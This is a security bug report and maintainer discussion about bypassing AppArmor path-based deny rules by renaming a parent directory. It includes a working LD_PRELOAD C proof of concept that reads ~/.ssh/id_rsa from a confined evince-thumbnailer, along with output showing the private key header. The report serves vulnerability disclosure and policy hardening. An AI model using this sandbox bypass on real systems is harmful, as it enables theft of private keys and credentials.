filesystem blacklisting can be bypassed by moving parents

Bug #1794820 reported by Jann Horn (corp account)
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
AppArmor
Confirmed
Undecided
Unassigned

Bug Description

I'm not sure whether this counts as just a hardening bug or a security bug for you, so I'm marking it as a security bug for now; please make this bug public if you don't think it qualifies as a security bug.

Some AppArmor policies attempt to blacklist access to specific directories while broadly granting write access to everything else. For example, the Firefox profile uses the user-files abstraction, which broadly permits write access to owned files under /home while using the private-files abstraction to block access to some files like ~/.bashrc. Similar thing for the evince thumbnailer.

This is broken because if an attacker has write access to ~/.ssh/, but access to ~/.ssh/** is blocked, it is possible to rename ~/.ssh to ~/.ssh_, access ~/.ssh_/id_rsa, and rename ~/.ssh_ back to ~/.ssh.

Demo with evince:

user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ cat preload5.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>

__attribute__((constructor)) static void entry(void) {
  printf("constructor running from %s\n", program_invocation_name);

  errno = 0;
  int fd = open("/home/user/.ssh/id_rsa", O_RDONLY);
  printf("open id_rsa direct: %d, error = %m\n", fd);

  if (rename("/home/user/.ssh", "/home/user/.sshx"))
    err(1, "rename");

  errno = 0;
  fd = open("/home/user/.sshx/id_rsa", O_RDONLY);
  printf("open id_rsa indirect: %d, error = %m\n", fd);

  if (rename("/home/user/.sshx", "/home/user/.ssh"))
    err(1, "rename2");

  char buf[1001];
  errno = 0;
  int res = read(fd, buf, 1000);
  printf("read res: %d, error = %m\n", res);
  if (res > 0) {
    buf[res] = 0;
    puts(buf);
  }

  exit(0);
}
user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload5.c -fPIC && LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open id_rsa direct: -1, error = Permission denied
open id_rsa indirect: 3, error = Success
read res: 1000, error = Success
-----BEGIN RSA PRIVATE KEY-----
[...]
user@ubuntu-18-04-vm:~/evince_thumbnailer_apparmor$

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Revision history for this message
John Johansen (jjohansen) wrote :

yep, this should be well known.

information type: Private Security → Public
information type: Public → Public Security
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

It is well known, but there is a problem in out private-files-strict policy that we can address. We currently have:

  audit deny @{HOME}/.ssh/** mrwkl,

this should be changed to:

  audit deny @{HOME}/.ssh/{,**} mrwkl,

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

I'll take a look at fixing that.

Revision history for this message
John Johansen (jjohansen) wrote :

I should add that apparmor's solution for this is planned but has not landed. It is a case where inode labeling will be used.

Revision history for this message
Jann Horn (corp account) (jannh) wrote :

And for "audit deny @{HOME}/.config/autostart/**", you'll probably have to block write access to ~/.config, if that's possible without breaking things? Otherwise someone could move the whole ~/.config directory as a bypass.

Revision history for this message
John Johansen (jjohansen) wrote :

Thinking on this, more users clearly don't understand and there is a partial fix we could roll out before the inode labeling lands

Basically we do some dominance analysis in the compile and strip away rename permission from the parent hierarchy. And then have policy have an override to explicitly opt back in. This way the issue is annotated in the policy and there is a bread crumb to documentation about this. I'll raise this option on the apparmor mailing list.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

I'm tracking the private-files-strict and user-files portion of this bug in https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1794848

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

'And for "audit deny @{HOME}/.config/autostart/**", you'll probably have to block write access to ~/.config, if that's possible without breaking things? Otherwise someone could move the whole ~/.config directory as a bypass.'

Yep, working through that, thanks!

Jeb E. (jebeld17)
Changed in apparmor:
status: New → Confirmed
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.